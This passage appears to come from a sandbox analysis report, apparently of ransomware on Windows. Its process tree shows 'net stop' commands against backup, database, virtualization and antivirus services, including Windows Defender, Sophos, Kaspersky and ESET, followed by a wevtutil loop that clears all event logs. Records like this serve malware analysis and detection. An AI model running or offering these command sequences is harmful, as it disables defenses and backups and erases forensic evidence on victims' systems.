C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "tmlisten"3⤵
-
C:\Windows\system32\net.exenet stop "tmlisten"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "tmlisten"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "TrueKey"3⤵
-
C:\Windows\system32\net.exenet stop "TrueKey"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "TrueKey"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "UI0Detect"3⤵
-
C:\Windows\system32\net.exenet stop "UI0Detect"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "UI0Detect"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "VeeamBackupSvc"3⤵
-
C:\Windows\system32\net.exenet stop "VeeamBackupSvc"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VeeamBackupSvc"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "VeeamBrokerSvc"3⤵
-
C:\Windows\system32\net.exenet stop "VeeamBrokerSvc"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VeeamBrokerSvc"5⤵
-
-
-
C:\Windows\system32\net.exenet stop "SQLAgent$CXDB"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLAgent$CXDB"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "VeeamCatalogSvc"3⤵
-
C:\Windows\system32\net.exenet stop "VeeamCatalogSvc"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VeeamCatalogSvc"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "VeeamCloudSvc"3⤵
-
C:\Windows\system32\net.exenet stop "VeeamCloudSvc"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VeeamCloudSvc"5⤵
-
-
-
C:\Windows\system32\net.exenet stop "SQL Backups"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQL Backups"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "VeeamDeploymentService"3⤵
-
C:\Windows\system32\net.exenet stop "VeeamDeploymentService"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VeeamDeploymentService"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "VeeamDeploySvc"3⤵
-
C:\Windows\system32\net.exenet stop "VeeamDeploySvc"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VeeamDeploySvc"5⤵
-
-
-
C:\Windows\system32\net.exenet stop "Zoolz 2 Service"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Zoolz 2 Service"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "VeeamEnterpriseManagerSvc"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "VeeamMountSvc"3⤵
-
C:\Windows\system32\net.exenet stop "VeeamMountSvc"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VeeamMountSvc"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "VeeamNFSSvc"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "VeeamRESTSvc"3⤵
-
C:\Windows\system32\net.exenet stop "VeeamRESTSvc"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VeeamRESTSvc"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "VeeamTransportSvc"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "W3Svc"3⤵
-
C:\Windows\system32\net.exenet stop "W3Svc"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "W3Svc"5⤵
-
-
-
C:\Windows\system32\net.exenet stop "ekrn"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "ekrn"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "wbengine"3⤵
-
C:\Windows\system32\net.exenet stop "wbengine"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "wbengine"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "WRSVC"3⤵
-
C:\Windows\system32\net.exenet stop "WRSVC"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "WRSVC"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQL$VEEAMSQL2008R2"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQL$VEEAMSQL2008R2"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2008R2"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLAgent$VEEAMSQL2008R2"3⤵
-
C:\Windows\system32\net.exenet stop "SQLAgent$VEEAMSQL2008R2"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2008R2"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "VeeamHvIntegrationSvc"3⤵
-
C:\Windows\system32\net.exenet stop "VeeamHvIntegrationSvc"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VeeamHvIntegrationSvc"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "swi_update"3⤵
-
C:\Windows\system32\net.exenet stop "swi_update"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "swi_update"5⤵
-
-
-
C:\Windows\system32\net.exenet stop "MSSQL$SQLEXPRESS"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQL$SQLEXPRESS"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLAgent$CXDB"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLAgent$CITRIX_METAFRAME"3⤵
-
C:\Windows\system32\net.exenet stop "SQLAgent$CITRIX_METAFRAME"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLAgent$CITRIX_METAFRAME"5⤵
-
-
-
C:\Windows\system32\net.exenet stop "wbengine"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "wbengine"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQL Backups"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQL$PROD"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQL$PROD"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQL$PROD"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "Zoolz 2 Service"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQLServerADHelper"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQLServerADHelper"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQLServerADHelper"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLAgent$PROD"3⤵
-
C:\Windows\system32\net.exenet stop "SQLAgent$PROD"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PROD"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "msftesql$PROD"3⤵
-
C:\Windows\system32\net.exenet stop "msftesql$PROD"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "msftesql$PROD"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "NetMsmqActivator"3⤵
-
C:\Windows\system32\net.exenet stop "NetMsmqActivator"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "NetMsmqActivator"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "EhttpSrv"3⤵
-
C:\Windows\system32\net.exenet stop "EhttpSrv"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "EhttpSrv"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "ekrn"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "ESHASRV"3⤵
-
C:\Windows\system32\net.exenet stop "ESHASRV"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "ESHASRV"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQL$SOPHOS"3⤵
-
C:\Windows\system32\net.exenet stop "MSSQL$SOPHOS"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSSQL$SOPHOS"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLAgent$SOPHOS"3⤵
-
C:\Windows\system32\net.exenet stop "SQLAgent$SOPHOS"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SOPHOS"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "AVP"3⤵
-
C:\Windows\system32\net.exenet stop "AVP"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "AVP"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "klnagent"3⤵
-
C:\Windows\system32\net.exenet stop "klnagent"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "klnagent"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MSSQL$SQLEXPRESS"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLAgent$SQLEXPRESS"3⤵
-
C:\Windows\system32\net.exenet stop "SQLAgent$SQLEXPRESS"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SQLEXPRESS"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "wbengine"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "HvHost"3⤵
-
C:\Windows\system32\net.exenet stop "HvHost"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "HvHost"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "vmickvpexchange"3⤵
-
C:\Windows\system32\net.exenet stop "vmickvpexchange"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "vmickvpexchange"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "vmicguestinterface"3⤵
-
C:\Windows\system32\net.exenet stop "vmicguestinterface"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "vmicguestinterface"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "vmicshutdown"3⤵
-
C:\Windows\system32\net.exenet stop "vmicshutdown"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "vmicshutdown"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "vmicheartbeat"3⤵
-
C:\Windows\system32\net.exenet stop "vmicheartbeat"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "vmicheartbeat"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "vmcompute"3⤵
-
C:\Windows\system32\net.exenet stop "vmcompute"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "vmcompute"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "vmicvmsession"3⤵
-
C:\Windows\system32\net.exenet stop "vmicvmsession"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "vmicvmsession"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "vmicrdv"3⤵
-
C:\Windows\system32\net.exenet stop "vmicrdv"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "vmicrdv"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "vmictimesync"3⤵
-
C:\Windows\system32\net.exenet stop "vmictimesync"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "vmictimesync"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "vmicvss"3⤵
-
C:\Windows\system32\net.exenet stop "vmicvss"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "vmicvss"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "VMAuthdService"3⤵
-
C:\Windows\system32\net.exenet stop "VMAuthdService"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VMAuthdService"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "VMnetDHCP"3⤵
-
C:\Windows\system32\net.exenet stop "VMnetDHCP"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VMnetDHCP"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "VMware NAT Service"3⤵
-
C:\Windows\system32\net.exenet stop "VMware NAT Service"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VMware NAT Service"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "VMUSBArbService"3⤵
-
C:\Windows\system32\net.exenet stop "VMUSBArbService"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VMUSBArbService"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "VMwareHostd"3⤵
-
C:\Windows\system32\net.exenet stop "VMwareHostd"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VMwareHostd"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "Sense"3⤵
-
C:\Windows\system32\net.exenet stop "Sense"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Sense"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "WdNisSvc"3⤵
-
C:\Windows\system32\net.exenet stop "WdNisSvc"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "WdNisSvc"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "WinDefend"3⤵
-
C:\Windows\system32\net.exenet stop "WinDefend"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "WinDefend"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c for /F "tokens=*" %s in ('wevtutil.exe el') DO wevtutil.exe cl "%s"3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wevtutil.exe el4⤵
-
C:\Windows\system32\wevtutil.exewevtutil.exe el5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Analytic"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Application"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "DebugChannel"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "DirectShowFilterGraph"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "DirectShowPluginControl"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Els_Hyphenation/Analytic"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "EndpointMapper"4⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "ForwardedEvents"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "HardwareEvents"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Internet Explorer"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Key Management Service"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "MF_MediaFoundationDeviceProxy"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Media Center"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "MediaFoundationDeviceProxy"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "MediaFoundationPerformance"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "MediaFoundationPipeline"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "MediaFoundationPlatform"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-IE/Diagnostic"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-IEDVTOOL/Diagnostic"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-IEFRAME/Diagnostic"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-JSDumpHeap/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-PerfTrack-IEFRAME/Diagnostic"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-PerfTrack-MSHTML/Diagnostic"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-ADSI/Debug"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-API-Tracing/Operational"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-ATAPort/General"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-ATAPort/SATA-LPM"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-ActionQueue/Analytic"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-AltTab/Diagnostic"4⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-AppID/Operational"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-AppLocker/EXE and DLL"4⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-AppLocker/MSI and Script"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Admin"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Application-Experience/Problem-Steps-Recorder"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Troubleshooter"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Inventory"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Inventory/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Telemetry"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Audio/CaptureMonitor"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Audio/Operational"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Audio/Performance"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Audit/Analytic"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Authentication User Interface/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-AxInstallService/Log"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Backup"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Biometrics/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Admin"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Bits-Client/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Bits-Client/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Bluetooth-MTPEnum/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-BranchCache/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-BranchCacheClientEventProvider/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-BranchCacheEventProvider/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-BranchCacheSMB/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-BranchCacheSMB/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-CAPI2/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-CDROM/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-COM/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-COMRuntime/Tracing"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Calculator/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Calculator/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-CertPoleEng/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-CertificateServicesClient-CredentialRoaming/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-ClearTypeTextTuner/Diagnostic"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-CmiSetup/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-CodeIntegrity/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-CodeIntegrity/Verbose"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-ComDlg32/Analytic"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-ComDlg32/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Client/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Server/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-CredUI/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Crypto-RNG/Analytic"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-D3D10Level9/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-D3D10Level9/PerfTiming"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DCLocator/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DNS-Client/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DUI/Diagnostic"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DUSER/Diagnostic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DXGI/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DXGI/Logging"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DXP/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Deplorch/Analytic"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DeviceSync/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DeviceSync/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DeviceUx/Informational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DeviceUx/Performance"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Dhcp-Client/Admin"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Dhcp-Client/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DhcpNap/Admin"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DhcpNap/Operational"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Dhcpv6-Client/Admin"4⤵
- Clears Windows event logs
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Dhcpv6-Client/Operational"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-DiagCpl/Debug"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Analytic"4⤵
-
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Debug"4⤵
-
-
